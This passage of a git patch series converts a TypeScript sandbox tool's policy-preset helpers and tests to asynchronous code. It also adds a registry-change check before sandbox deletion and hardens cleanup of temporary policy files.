b/src/lib/actions/sandbox/policy-channel-refresh.test.ts index 8dc98d707ff..69c504084a7 100644 --- a/src/lib/actions/sandbox/policy-channel-refresh.test.ts +++ b/src/lib/actions/sandbox/policy-channel-refresh.test.ts @@ -151,7 +151,7 @@ describe("addSandboxPolicy refresh contract", () => { }); it("does not refresh when the policy library reports apply failure", async () => { - applyPresetMock.mockReturnValue(false); + applyPresetMock.mockResolvedValue(false); await expect( captureExit(() => addSandboxPolicy("alpha", { preset: "pypi", yes: true })), @@ -270,7 +270,7 @@ describe("removeSandboxPolicy refresh contract", () => { }); it("does not refresh when the policy library reports remove failure", async () => { - removePresetMock.mockReturnValue(false); + removePresetMock.mockResolvedValue(false); await expect( captureExit(() => removeSandboxPolicy("alpha", { preset: "pypi", yes: true })), @@ -305,7 +305,7 @@ describe("applyChannelPresetIfAvailable refresh contract", () => { }); it("does not refresh when policy library reports apply failure", async () => { - applyPresetMock.mockReturnValue(false); + applyPresetMock.mockResolvedValue(false); const ok = await applyChannelPresetIfAvailable("alpha", "discord"); @@ -317,9 +317,7 @@ describe("applyChannelPresetIfAvailable refresh contract", () => { }); it("does not refresh when policy library throws", async () => { - applyPresetMock.mockImplementation(() => { - throw new Error("preset YAML missing"); - }); + applyPresetMock.mockRejectedValue(new Error("preset YAML missing")); const ok = await applyChannelPresetIfAvailable("alpha", "discord"); @@ -357,7 +355,7 @@ describe("removeChannelPresetIfPresent refresh contract", () => { it("does not refresh when policy library reports remove failure", async () => { vi.spyOn(policies, "getAppliedPresets").mockResolvedValue(["discord"]); - removePresetMock.mockReturnValue(false); + removePresetMock.mockResolvedValue(false); await removeChannelPresetIfPresent("alpha", "discord"); @@ -367,9 +365,7 @@ describe("removeChannelPresetIfPresent refresh contract", () => { it("does not refresh when policy library throws", async () => { vi.spyOn(policies, "getAppliedPresets").mockResolvedValue(["discord"]); - removePresetMock.mockImplementation(() => { - throw new Error("preset removal racing with rebuild"); - }); + removePresetMock.mockRejectedValue(new Error("preset removal racing with rebuild")); await removeChannelPresetIfPresent("alpha", "discord"); diff --git a/src/lib/actions/sandbox/rebuild-destroy-phase.test.ts b/src/lib/actions/sandbox/rebuild-destroy-phase.test.ts index 195694b87c8..0c4e77a935a 100644 --- a/src/lib/actions/sandbox/rebuild-destroy-phase.test.ts +++ b/src/lib/actions/sandbox/rebuild-destroy-phase.test.ts @@ -204,6 +204,39 @@ describe("rebuild destroy phase", () => { expectNoSandboxDelete(mocks.runOpenshell); }); + it("refuses deletion when the registry target changes during asynchronous validation", async () => { + let finishValidation!: () => void; + const validateAtDeleteEdge = vi.fn(async () => { + await new Promise((resolve) => { + finishValidation = resolve; + }); + return { ok: true as const }; + }); + const journal = stubRecreateJournal(); + const pending = runRebuildDestroyPhase({ + sandboxName: "alpha", + sandboxEntry: { name: "alpha", agent: "openclaw" }, + staleRecovery: false, + recreateJournal: journal, + backupManifest: null, + log: vi.fn(), + bail: (message): never => { + throw new Error(message); + }, + validateAtDeleteEdge, + onDeleted: vi.fn(), + }); + await vi.waitFor(() => expect(validateAtDeleteEdge).toHaveBeenCalledOnce()); + mocks.getSandbox.mockReturnValue({ name: "alpha", agent: "openclaw", gatewayName: "other" }); + finishValidation(); + await expect(pending).rejects.toThrow( + "Sandbox delete target changed during rebuild preparation.", + ); + expect(journal.beginDelete).not.toHaveBeenCalled(); + expectNoSandboxDelete(mocks.runOpenshell); + expect(mocks.reattachMcpAfterDeleteFailure).toHaveBeenCalledOnce(); + }); + it("passes force=true to prepareMcpForRebuild when input.force is set (#7062)", async () => { const log = vi.fn(); const bail = vi.fn((message: string): never => { diff --git a/src/lib/actions/sandbox/rebuild-destroy-phase.ts b/src/lib/actions/sandbox/rebuild-destroy-phase.ts index 3dbcaca1c9d..cf7a0763e66 100644 --- a/src/lib/actions/sandbox/rebuild-destroy-phase.ts +++ b/src/lib/actions/sandbox/rebuild-destroy-phase.ts @@ -426,6 +426,12 @@ export async function runRebuildDestroyPhase( message: "Replacement validation failed before sandbox deletion.", }; } + if (validation.ok && !rebuildDeleteTargetMatchesRegistry(deleteTarget)) { + validation = { + ok: false, + message: "Sandbox delete target changed during rebuild preparation.", + }; + } if (!validation.ok) { const mcpRecoveryFailure = await reattachMcpAfterDeleteFailure( sandboxName, diff --git a/src/lib/actions/sandbox/rebuild-resume-snapshot.test.ts b/src/lib/actions/sandbox/rebuild-resume-snapshot.test.ts index 2d9246f3886..6a2c0afd3fb 100644 --- a/src/lib/actions/sandbox/rebuild-resume-snapshot.test.ts +++ b/src/lib/actions/sandbox/rebuild-resume-snapshot.test.ts @@ -34,7 +34,7 @@ import * as rebuildUsageNotice from "./rebuild-usage-notice"; import * as policyGet from "./policy-get"; const policyBoundaryMocks = vi.hoisted(() => ({ - inspectSandboxPolicy: vi.fn(() => ({ + inspectSandboxPolicy: vi.fn(async () => ({ ok: true as const, value: { policySource: "sandbox" as const, @@ -42,7 +42,7 @@ const policyBoundaryMocks = vi.hoisted(() => ({ policyIdentity: { hash: "sha256:resume-policy", activeVersion: 1 }, }, })), - readSandboxPolicy: vi.fn(() => ({ + readSandboxPolicy: vi.fn(async () => ({ ok: true as const, value: { document: "version: 1\nnetwork_policies: {}\n", diff --git a/src/lib/adapters/openshell/client.ts b/src/lib/adapters/openshell/client.ts index 67ab73a91d3..97097452fe2 100644 --- a/src/lib/adapters/openshell/client.ts +++ b/src/lib/adapters/openshell/client.ts @@ -95,6 +95,7 @@ export interface CaptureOpenshellOptions extends OpenshellSpawnOptions { } export interface CaptureOpenshellAsyncOptions extends CaptureOpenshellOptions { + outputLimitBytes?: number; killGraceMs?: number; spawnImpl?: OpenshellSpawn; } @@ -364,7 +365,7 @@ export function captureOpenshellCommandAsync( timeoutKillSignal: opts.killSignal === "SIGTERM" || opts.killSignal === "SIGKILL" ? opts.killSignal : undefined, timeoutMilliseconds: opts.timeout, - outputLimitBytes: opts.maxBuffer, + outputLimitBytes: opts.outputLimitBytes, }).then((result) => ({ status: result.status ?? (result.timedOut ? null : 1), output: `${result.stdout}${shouldIncludeStderr(opts) ? result.stderr : ""}`.trim(), diff --git a/src/lib/adapters/openshell/runtime.ts b/src/lib/adapters/openshell/runtime.ts index 1cb4152bf91..cdc5a94a4a5 100644 --- a/src/lib/adapters/openshell/runtime.ts +++ b/src/lib/adapters/openshell/runtime.ts @@ -153,7 +153,7 @@ export function captureResolvedOpenshellAsync(args: CommandArgs, opts: RunnerOpt includeStderr: opts.includeStderr, includeStreams: opts.includeStreams, timeout: opts.timeout, - maxBuffer: opts.maxBuffer, + outputLimitBytes: opts.maxBuffer, }); } diff --git a/src/lib/adapters/openshell/sandbox-policy-cli.test.ts b/src/lib/adapters/openshell/sandbox-policy-cli.test.ts index 1a9e07d8352..ad6e56f8072 100644 --- a/src/lib/adapters/openshell/sandbox-policy-cli.test.ts +++ b/src/lib/adapters/openshell/sandbox-policy-cli.test.ts @@ -314,3 +314,55 @@ describe("CLI OpenShell sandbox policy writer", () => { }); }); }); + +it("reports retained policy material and preserves a simultaneous capture failure", async () => { + const captureFailure = new Error("capture failed"); + let directory = ""; + const capture = vi.fn(async (args: string[]) => { + directory = path.dirname(args[args.indexOf("--policy") + 1]!); + throw captureFailure; + }); + const remove = vi.spyOn(fs, "rmSync").mockImplementation(() => { + throw Object.assign(new Error("removal failed"), { code: "EACCES" }); + }); + try { + await expect( + createCliOpenShellSandboxPolicyWriter({ capture }).setSandboxPolicy({ + target: selectedOpenShellGateway(), + sandboxName: "alpha", + document: POLICY, + }), + ).rejects.toMatchObject({ + message: expect.stringContaining("Could not remove the temporary policy directory"), + cause: captureFailure, + }); + expect(fs.existsSync(path.join(directory, "policy.yaml"))).toBe(true); + } finally { + remove.mockRestore(); + fs.rmSync(directory, { recursive: true, force: true }); + } +}); + +it("does not report success when submitted policy material cannot be removed", async () => { + let directory = ""; + const capture = vi.fn(async (args: string[]) => { + directory = path.dirname(args[args.indexOf("--policy") + 1]!); + return captured({ output: "" }); + }); + const remove = vi.spyOn(fs, "rmSync").mockImplementation(() => { + throw Object.assign(new Error("removal failed"), { code: "EACCES" }); + }); + try { + await expect( + createCliOpenShellSandboxPolicyWriter({ capture }).setSandboxPolicy({ + target: selectedOpenShellGateway(), + sandboxName: "alpha", + document: POLICY, + }), + ).rejects.toThrow("It still holds the composed sandbox policy; remove it before retrying."); + expect(fs.existsSync(path.join(directory, "policy.yaml"))).toBe(true); + } finally { + remove.mockRestore(); + fs.rmSync(directory, { recursive: true, force: true }); + } +}); diff --git a/src/lib/adapters/openshell/sandbox-policy-cli.ts b/src/lib/adapters/openshell/sandbox-policy-cli.ts index bc159263253..f103185da65 100644 --- a/src/lib/adapters/openshell/sandbox-policy-cli.ts +++ b/src/lib/adapters/openshell/sandbox-policy-cli.ts @@ -301,30 +301,36 @@ export function createCliOpenShellSandboxPolicyWriter( }; } const directory = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-")); + let submission!: OpenShellSandboxPolicySetSubmission; + let failure: { error: unknown } | undefined; try { const policyPath = path.join(directory, "policy.yaml"); fs.writeFileSync(policyPath, request.document, { encoding: "utf-8", mode: 0o600 }); - return parsePolicySet( + submission = parsePolicySet( await deps.capture( policySetArgs(request, policyPath), captureOptions(request, deps.defaultTimeoutMs), ), ); - } finally { - // A retained policy is never reported as a clean result, even after a successful write. - let reason: string | null = null; - try { - fs.rmSync(directory, { recursive: true, force: true }); - } catch (error) { - const code = (error as NodeJS.ErrnoException).code; - reason = typeof code === "string" && /^[A-Z_]+$/.test(code) ? code : "removal failed"; - } - if (!reason && fs.existsSync(directory)) reason = "the path still exists"; - if (reason) - throw new Error( - `Could not remove the temporary policy directory '${directory}' (${reason}). It still holds the composed sandbox policy; remove it before retrying.`, - ); + } catch (error) { + failure = { error }; } + // A retained policy is never reported as a clean result, even after a successful write. + let reason: string | null = null; + try { + fs.rmSync(directory, { recursive: true, force: true }); + } catch (error) { + const code = (error as NodeJS.ErrnoException).code; + reason = typeof code === "string" && /^[A-Z_]+$/.test(code) ? code : "removal failed"; + } + if (!reason && fs.existsSync(directory)) reason = "the path still exists"; + if (reason) + throw new Error( + `Could not remove the temporary policy directory '${directory}' (${reason}). It still holds the composed sandbox policy; remove it before retrying.`, + failure ? { cause: failure.error } : undefined, + ); + if (failure) throw failure.error; + return submission; }, }; } diff --git a/src/lib/onboard/policy-preset-sync-finality.test.ts b/src/lib/onboard/policy-preset-sync-finality.test.ts index f53bc9b5469..8a4addc0d47 100644 --- a/src/lib/onboard/policy-preset-sync-finality.test.ts +++ b/src/lib/onboard/policy-preset-sync-finality.test.ts @@ -34,7 +34,7 @@ describe("waitForPolicyMutation", () => { it("attempts a rejected policy submission exactly once (#9206)", async () => { let attempts = 0; - const mutate = (): boolean => { + const mutate = async (): Promise => { attempts += 1; throw new Error(REJECTION_ERROR_MESSAGE); }; @@ -48,7 +48,7 @@ describe("waitForPolicyMutation", () => { it("attempts a policy submission with an unconfirmed result exactly once (#9206)", async () => { let attempts = 0; - const mutate = (): boolean => { + const mutate = async (): Promise => { attempts += 1; throw new Error(UNCONFIRMED_ERROR_MESSAGE); }; @@ -71,7 +71,7 @@ describe("waitForPolicyMutation", () => { () => true, ]; let attempts = 0; - const mutate = (): boolean => { + const mutate = async (): Promise => { const behaviour = behaviours[attempts] ?? (() => true); attempts += 1; return behaviour(); @@ -86,7 +86,7 @@ describe("waitForPolicyMutation", () => { it("attempts a policy mutation that returns false exactly once (#9206)", async () => { let attempts = 0; - const mutate = (): boolean => { + const mutate = async (): Promise => { attempts += 1; return false; }; diff --git a/src/lib/onboard/policy-resume-selection.test.ts b/src/lib/onboard/policy-resume-selection.test.ts index 4e79767747e..991fea731ea 100644 --- a/src/lib/onboard/policy-resume-selection.test.ts +++ b/src/lib/onboard/policy-resume-selection.test.ts @@ -22,10 +22,10 @@ function policies( const customPresets = (options.custom ?? []).map((name) => ({ name })); return { setupPolicyPresetSupported: () => true, - listSetupPolicyPresets: () => setupPresets, - listCustomPresets: () => customPresets, - customPresetOwnsNetworkPolicyKey: () => options.customOwnsObservability === true, - getAppliedPresets: () => options.applied ?? [], + listSetupPolicyPresets: async () => setupPresets, + listCustomPresets: async () => customPresets, + customPresetOwnsNetworkPolicyKey: async () => options.customOwnsObservability === true, + getAppliedPresets: async () => options.applied ?? [], clampSetupPolicyPresetNames( names: string[], selectablePresets: Preset[], diff --git a/src/lib/onboard/policy-selection-application.test.ts b/src/lib/onboard/policy-selection-application.test.ts index 9341804e680..74790a8cc68 100644 --- a/src/lib/onboard/policy-selection-application.test.ts +++ b/src/lib/onboard/policy-selection-application.test.ts @@ -40,7 +40,13 @@ describe("onboarding policy application", () => { } }, ); - syncPresetSelection.mockImplementation(() => events.push("policies synchronized")); + let finishSync!: () => void; + syncPresetSelection.mockImplementation(async () => { + await new Promise((resolve) => { + finishSync = resolve; + }); + events.push("policies synchronized"); + }); seedInitialPolicyContext.mockImplementation(() => events.push("policy context seeded")); const application = createOnboardPolicyApplication({ localInferenceProviders: [], @@ -66,9 +72,11 @@ describe("onboarding policy application", () => { env: {}, }); - await expect( - application.setupPoliciesWithSelection("alpha", { selectedPresets: ["npm"] }), - ).resolves.toEqual(["npm"]); + const pending = application.setupPoliciesWithSelection("alpha", { selectedPresets: ["npm"] }); + await vi.waitFor(() => expect(syncPresetSelection).toHaveBeenCalled()); + expect(events).toEqual(["lock entered"]); + finishSync(); + await expect(pending).resolves.toEqual(["npm"]); expect(withSandboxMutationLock).toHaveBeenCalledOnce(); expect(withSandboxMutationLock).toHaveBeenCalledWith("alpha", expect.any(Function)); expect(syncPresetSelection).toHaveBeenCalledWith("alpha", [], ["npm"]); diff --git a/src/lib/policy/policy-apply-finality.test.ts b/src/lib/policy/policy-apply-finality.test.ts index 68063dd6675..c9cb463121a 100644 --- a/src/lib/policy/policy-apply-finality.test.ts +++ b/src/lib/policy/policy-apply-finality.test.ts @@ -229,7 +229,7 @@ describe("applyPresets finality when openshell rejects the composed policy", () const error = await applyWeatherPreset(); expect((error as Error).message).not.toContain(CREDENTIAL_TOKEN); - expect((error as Error).message).toContain("nvap"); + expect((error as Error).message).toContain("rejected: header carries "); const reported = [ ...vi.mocked(console.error).mock.calls, ...vi.mocked(console.log).mock.calls, diff --git a/test/onboarding/onboard-readiness.test.ts b/test/onboarding/onboard-readiness.test.ts index deb878e1ee2..b8c20e98608 100644 --- a/test/onboarding/onboard-readiness.test.ts +++ b/test/onboarding/onboard-readiness.test.ts @@ -160,12 +160,12 @@ describe("WSL sandbox name handling", () => { ["applyPresets", async (name: string) => await applyPresets(name, ["npm"])], ])( "%s rejects 20-character and consecutive-hyphen names before policy side effects (#8497)", - (_entrypoint, invoke) => { - ["a".repeat(20), "legacy--box"].forEach(async (name) => { - await expect((async () => await invoke(name))()).rejects.toThrow( - /Allowed format: 1-19 characters/, - ); - }); + async (_entrypoint, invoke) => { + await Promise.all( + ["a".repeat(20), "legacy--box"].map(async (name) => { + await expect(invoke(name)).rejects.toThrow(/Allowed format: 1-19 characters/); + }), + ); expect(policySideEffects.runCapture).not.toHaveBeenCalled(); expect(policySideEffects.run).not.toHaveBeenCalled(); }, diff --git a/test/package-contract/cli/policy-dispatch.test.ts b/test/package-contract/cli/policy-dispatch.test.ts index 1d167188dda..92aa546617b 100644 --- a/test/package-contract/cli/policy-dispatch.test.ts +++ b/test/package-contract/cli/policy-dispatch.test.ts @@ -34,14 +34,16 @@ describe("compiled CLI policy contracts", () => { const YAML = require(${YAML_PATH}); const registry = require(${REGISTRY_PATH}); const policies = require(${POLICIES_PATH}); +(async () => { registry.registerSandbox({ name: "openclaw-contract", agent: "openclaw", policies: [] }); registry.registerSandbox({ name: "hermes-contract", agent: "hermes", policies: [] }); -const openclaw = YAML.parse(policies.loadPresetForSandbox("openclaw-contract", "telegram")); -const hermes = YAML.parse(policies.loadPresetForSandbox("hermes-contract", "telegram")); +const openclaw = YAML.parse(await policies.loadPresetForSandbox("openclaw-contract", "telegram")); +const hermes = YAML.parse(await policies.loadPresetForSandbox("hermes-contract", "telegram")); process.stdout.write("__RESULT__" + JSON.stringify({ openclawKeys: Object.keys(openclaw.network_policies || {}), hermesKeys: Object.keys(hermes.network_policies || {}), })); +})().catch(error => { console.error(error); process.exitCode = 1; }); `; fs.writeFileSync(scriptPath, script); const result = spawnSync(process.execPath, [scriptPath], { diff --git a/test/package-contract/repro-2010.test.ts b/test/package-contract/repro-2010.test.ts index e934b8d360d..fe954fc3c35 100644 --- a/test/package-contract/repro-2010.test.ts +++ b/test/package-contract/repro-2010.test.ts @@ -32,10 +32,20 @@ function runScript(body: string): { stdout: string; stderr: string; status: numb const runner = require(${JSON.stringify(RUNNER_PATH)}); const YAML = require("yaml"); `; - const result = spawnSync(process.execPath, ["-e", preamble + body], { - cwd: REPO_ROOT, - encoding: "utf-8", - }); + const result = spawnSync( + process.execPath, + [ + "-e", + preamble + + "\n(async () => {\n" + + body + + "\n})().catch(error => { console.error(error); process.exitCode = 1; });", + ], + { + cwd: REPO_ROOT, + encoding: "utf-8", + }, + ); return { stdout: result.stdout || "", stderr: result.stderr || "", status: result.status }; } @@ -48,7 +58,7 @@ function buildGatewayYaml(presetNames: string[]): string { const { stdout } = runScript(` const parts = ["version: 1", "", "network_policies:"]; for (const name of ${names}) { - const content = policies.loadPresetForSandbox("repro-2010-sandbox", name); + const content = await policies.loadPresetForSandbox("repro-2010-sandbox", name); if (!content) continue; const entries = policies.extractPresetEntries(content); if (!entries) continue; @@ -72,7 +82,7 @@ function buildGatewayYamlWithCustom( const { stdout } = runScript(` const parts = ["version: 1", "", "network_policies:"]; for (const name of ${names}) { - const content = policies.loadPresetForSandbox("repro-2010-sandbox", name); + const content = await policies.loadPresetForSandbox("repro-2010-sandbox", name); if (!content) continue; const entries = policies.extractPresetEntries(content); if (!entries) continue; @@ -140,7 +150,7 @@ function callGetGatewayPresets( return pk.length > 0 && pk.every(k => keys.has(k)); }; for (const preset of policies.listPresets()) { - const c = policies.loadPresetForSandbox("repro-2010-sandbox", preset.name); if (!c) continue; + const c = await policies.loadPresetForSandbox("repro-2010-sandbox", preset.name); if (!c) continue; if (matchContent(c)) matched.push(preset.name); } for (const entry of customPresets) { From 2256f99829d685d56d0c74ffb82695d8902f89cd Mon Sep 17 00:00:00 2001 From: Rebecca Sliter <571084+rsliter@users.noreply.github.com> Date: Fri, 11 Sep 2026 10:39:13 -0700 Subject: [PATCH 3/4] test(onboard): correct asynchronous policy helper contract Signed-off-by: Rebecca Sliter <571084+rsliter@users.noreply.github.com> --- test/onboarding/onboard.test.ts | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/test/onboarding/onboard.test.ts b/test/onboarding/onboard.test.ts index d2a9f74d2fd..93f4bb905eb 100644 --- a/test/onboarding/onboard.test.ts +++ b/test/onboarding/onboard.test.ts @@ -54,7 +54,7 @@ type OnboardTestInternals = { session: T, selectedAgentName: string, ) => T; - arePolicyPresetsApplied: (sandboxName: string, selectedPresets?: string[]) => boolean; + arePolicyPresetsApplied: (sandboxName: string, selectedPresets?: string[]) => Promise; pullAndResolveBaseImageDigest: () => { digest: string | null; ref: string } | null; createSetupInference: (overrides?: Partial) => SetupInference; SANDBOX_BASE_IMAGE: string; @@ -101,10 +101,6 @@ const createDirectSetupInferenceHarness = createDirectSetupInferenceHarnessFactory(createSetupInference); describe("onboard helpers", () => { - it("does not expose the removed provider argument builder", () => { - expect(loadedOnboardInternals).not.toHaveProperty("buildProviderArgs"); - }); - it("does not treat an empty policy preset selection as already applied (#6042)", async () => { expect(await arePolicyPresetsApplied("unused", [])).toBe(false); }); From b1e29124e7b0c569dabafcafc99062e21811b84b Mon Sep 17 00:00:00 2001 From: Rebecca Sliter <571084+rsliter@users.noreply.github.com> Date: Fri, 11 Sep 2026 10:52:15 -0700 Subject: [PATCH 4/4] fix(policy): address asynchronous adapter review Signed-off-by: Rebecca Sliter <571084+rsliter@users.noreply.github.com> --- src/lib/adapters/openshell/client.test.ts | 13 +++- src/lib/adapters/openshell/client.ts | 2 +- src/lib/adapters/openshell/runtime.test.ts | 2 +- src/lib/adapters/openshell/runtime.ts | 11 ++- .../openshell/sandbox-policy-cli.test.ts | 2 +- .../adapters/openshell/sandbox-policy-cli.ts | 17 +++-- .../openshell/sandbox-settings-cli.test.ts | 2 +- .../openshell/sandbox-settings-cli.ts | 2 +- .../adapters/openshell/sanitized-capture.ts | 5 +- src/lib/inventory/index-concurrency.test.ts | 67 +++++++++++++++++++ src/lib/inventory/index.ts | 32 ++++----- 11 files changed, 121 insertions(+), 34 deletions(-) create mode 100644 src/lib/inventory/index-concurrency.test.ts diff --git a/src/lib/adapters/openshell/client.test.ts b/src/lib/adapters/openshell/client.test.ts index 14d727d5c84..05e41972f8c 100644 --- a/src/lib/adapters/openshell/client.test.ts +++ b/src/lib/adapters/openshell/client.test.ts @@ -561,14 +561,21 @@ describe("openshell helpers", () => { }); }); - it("preserves the legacy unbounded async capture when maxBuffer is supplied", async () => { + it("bounds asynchronous capture through outputLimitBytes", async () => { const result = await captureOpenshellCommandAsync( process.execPath, ["-e", "process.stdout.write('x'.repeat(64))"], - { ignoreError: true, maxBuffer: 8 }, + { ignoreError: true, includeStreams: true, outputLimitBytes: 8 }, ); - expect(result).toEqual({ status: 0, output: "x".repeat(64), signal: null }); + expect(result).toEqual({ + status: 1, + output: "x".repeat(8), + stdout: "x".repeat(8), + stderr: "", + error: expect.objectContaining({ code: "ERR_CHILD_PROCESS_STDIO_MAXBUFFER" }), + signal: null, + }); }); it("uses the injected exit handler on failure", () => { diff --git a/src/lib/adapters/openshell/client.ts b/src/lib/adapters/openshell/client.ts index 7c8fa8ed179..ebaa74aa266 100644 --- a/src/lib/adapters/openshell/client.ts +++ b/src/lib/adapters/openshell/client.ts @@ -95,7 +95,7 @@ export interface CaptureOpenshellOptions extends OpenshellSpawnOptions { maxBuffer?: number; } -export interface CaptureOpenshellAsyncOptions extends CaptureOpenshellOptions { +export interface CaptureOpenshellAsyncOptions extends Omit { signalSource?: OpenshellAsyncCaptureSignalSource; outputLimitBytes?: number; killGraceMs?: number; diff --git a/src/lib/adapters/openshell/runtime.test.ts b/src/lib/adapters/openshell/runtime.test.ts index 4abdbd49a47..7a8e1740b03 100644 --- a/src/lib/adapters/openshell/runtime.test.ts +++ b/src/lib/adapters/openshell/runtime.test.ts @@ -117,7 +117,7 @@ describe("captureResolvedOpenshellAsync", () => { const result = await captureResolvedOpenshellAsync([], { openshellBinary: largeOutputExecutable("openshell"), ignoreError: true, - maxBuffer: 64, + outputLimitBytes: 64, includeStreams: true, }); diff --git a/src/lib/adapters/openshell/runtime.ts b/src/lib/adapters/openshell/runtime.ts index b66ffb385f1..a447c9c783d 100644 --- a/src/lib/adapters/openshell/runtime.ts +++ b/src/lib/adapters/openshell/runtime.ts @@ -50,6 +50,10 @@ type RunnerOptions = { maxBuffer?: number; }; +type AsyncRunnerOptions = Omit & { + outputLimitBytes?: number; +}; + let openshellBin: string | null = null; /** Resolve and cache the OpenShell binary path, exiting if it is not installed. */ @@ -141,7 +145,7 @@ export function captureSandboxSshConfig(sandboxName: string, opts: RunnerOptions } /** Capture a resolved command asynchronously with bounded output and no process exit. */ -export function captureResolvedOpenshellAsync(args: CommandArgs, opts: RunnerOptions = {}) { +export function captureResolvedOpenshellAsync(args: CommandArgs, opts: AsyncRunnerOptions = {}) { const openshell = opts.openshellBinary ?? resolveOpenshellBinaryOrNull(); if (!openshell) throw new Error("OpenShell is unavailable"); if (!path.isAbsolute(openshell)) throw new Error("OpenShell executable must be absolute"); @@ -153,7 +157,7 @@ export function captureResolvedOpenshellAsync(args: CommandArgs, opts: RunnerOpt includeStderr: opts.includeStderr, includeStreams: opts.includeStreams, timeout: opts.timeout, - outputLimitBytes: opts.maxBuffer, + outputLimitBytes: opts.outputLimitBytes, signalSource: { add: (signal, listener) => { process.on(signal, listener); @@ -173,7 +177,7 @@ export function getStatusProbeTimeoutMs(): number { } /** Async variant of {@link captureOpenshell} for status probes, with a kill grace period. */ -export function captureOpenshellForStatus(args: CommandArgs, opts: RunnerOptions = {}) { +export function captureOpenshellForStatus(args: CommandArgs, opts: AsyncRunnerOptions = {}) { return captureOpenshellCommandAsync(getOpenshellBinary(), args, { cwd: ROOT, env: opts.env, @@ -182,6 +186,7 @@ export function captureOpenshellForStatus(args: CommandArgs, opts: RunnerOptions includeStreams: opts.includeStreams, timeout: opts.timeout ?? getStatusProbeTimeoutMs(), killGraceMs: 1000, + outputLimitBytes: opts.outputLimitBytes, }); } diff --git a/src/lib/adapters/openshell/sandbox-policy-cli.test.ts b/src/lib/adapters/openshell/sandbox-policy-cli.test.ts index 50d92d226de..63783307305 100644 --- a/src/lib/adapters/openshell/sandbox-policy-cli.test.ts +++ b/src/lib/adapters/openshell/sandbox-policy-cli.test.ts @@ -168,7 +168,7 @@ describe("CLI OpenShell sandbox policy reader", () => { ).resolves.toMatchObject({ ok: false, error: { kind: "command" } }); expect(capture).toHaveBeenCalledWith( ["policy", "get", "-g", "nemoclaw", "--base", "alpha"], - expect.objectContaining({ maxBuffer: 1024 * 1024, timeout: 15_000 }), + expect.objectContaining({ outputLimitBytes: 1024 * 1024, timeout: 15_000 }), ); }); }); diff --git a/src/lib/adapters/openshell/sandbox-policy-cli.ts b/src/lib/adapters/openshell/sandbox-policy-cli.ts index f103185da65..3f92020b4c2 100644 --- a/src/lib/adapters/openshell/sandbox-policy-cli.ts +++ b/src/lib/adapters/openshell/sandbox-policy-cli.ts @@ -57,13 +57,16 @@ export type { export { openshellNotFoundDiagnosticLines, tryResolveOpenshellBinary }; +type CapturePolicyOptions = Omit[1], "maxBuffer"> & { + readonly outputLimitBytes: number; +}; type SyncCapturePolicyCommand = ( args: string[], options: Parameters[1] & { readonly maxBuffer: number }, ) => CapturedOpenShellCommandResult; type CapturePolicyCommand = ( args: string[], - options: Parameters[1], + options: CapturePolicyOptions, ) => CapturedOpenShellCommandResult | Promise; type PolicyReaderDeps = Readonly<{ capture: Capture; defaultTimeoutMs?: number }>; type PolicyWriterDeps = Readonly<{ capture: Capture; defaultTimeoutMs?: number }>; @@ -173,7 +176,7 @@ function captureOptions( ignoreError: true, includeStderr: true, includeStreams: true, - maxBuffer: POLICY_READ_MAX_BYTES, + outputLimitBytes: POLICY_READ_MAX_BYTES, timeout: request.timeoutMs ?? defaultTimeoutMs ?? DEFAULT_POLICY_READ_TIMEOUT_MS, } as const, request.runtimeSelection, @@ -347,9 +350,11 @@ export function createSyncCliOpenShellSandboxPolicyReader( deps: PolicyReaderDeps, ): SyncOpenShellSandboxPolicyReader { return { - readSandboxPolicy: (request) => - parsePolicyRead( - deps.capture(policyReadArgs(request), captureOptions(request, deps.defaultTimeoutMs)), - ), + readSandboxPolicy: (request) => { + const { outputLimitBytes, ...options } = captureOptions(request, deps.defaultTimeoutMs); + return parsePolicyRead( + deps.capture(policyReadArgs(request), { ...options, maxBuffer: outputLimitBytes }), + ); + }, }; } diff --git a/src/lib/adapters/openshell/sandbox-settings-cli.test.ts b/src/lib/adapters/openshell/sandbox-settings-cli.test.ts index 91df93e2033..310bea2f66a 100644 --- a/src/lib/adapters/openshell/sandbox-settings-cli.test.ts +++ b/src/lib/adapters/openshell/sandbox-settings-cli.test.ts @@ -26,7 +26,7 @@ describe("sandbox audit settings", () => { "--value", "true", ], - expect.objectContaining({ timeout: 500, maxBuffer: 1024 * 1024 }), + expect.objectContaining({ timeout: 500, outputLimitBytes: 1024 * 1024 }), ); }); diff --git a/src/lib/adapters/openshell/sandbox-settings-cli.ts b/src/lib/adapters/openshell/sandbox-settings-cli.ts index 5b009c7c303..8962a768c0c 100644 --- a/src/lib/adapters/openshell/sandbox-settings-cli.ts +++ b/src/lib/adapters/openshell/sandbox-settings-cli.ts @@ -34,7 +34,7 @@ export function createCliOpenShellSandboxSettings( includeStreams: true, includeStderr: true, timeout: timeoutMs, - maxBuffer: 1024 * 1024, + outputLimitBytes: 1024 * 1024, }); const error = classifyCliOpenShellCommandError(result, { authentication: "OpenShell could not authenticate the sandbox audit setting update.", diff --git a/src/lib/adapters/openshell/sanitized-capture.ts b/src/lib/adapters/openshell/sanitized-capture.ts index 1f4f281e609..142578f7b92 100644 --- a/src/lib/adapters/openshell/sanitized-capture.ts +++ b/src/lib/adapters/openshell/sanitized-capture.ts @@ -17,6 +17,9 @@ type SanitizedCaptureOptions = Readonly<{ replaceEnv?: true; }>; +type SanitizedAsyncCaptureOptions = Omit & + Readonly<{ outputLimitBytes: number }>; + /** Capture a bounded OpenShell read with a credential-minimizing environment. */ function resolveCapture(args: string[]) { const env = buildOpenShellSubprocessEnv(); @@ -59,7 +62,7 @@ export function captureSanitizedResolvedOpenshell( export async function captureSanitizedResolvedOpenshellAsync( args: string[], - opts: SanitizedCaptureOptions, + opts: SanitizedAsyncCaptureOptions, ): Promise { const resolved = resolveCapture(args); if (!resolved) return missingBinary(); diff --git a/src/lib/inventory/index-concurrency.test.ts b/src/lib/inventory/index-concurrency.test.ts new file mode 100644 index 00000000000..5ae7dbf276d --- /dev/null +++ b/src/lib/inventory/index-concurrency.test.ts @@ -0,0 +1,67 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from "vitest"; + +import { getSandboxInventory, getStatusReport } from "./index"; + +function deferredPolicyReads() { + const releases = new Map void>(); + const getPolicyPresets = vi.fn( + (sandboxName: string) => + new Promise((resolve) => { + releases.set(sandboxName, resolve); + }), + ); + return { getPolicyPresets, releases }; +} + +describe("inventory policy read concurrency", () => { + it("reads independent inventory policies 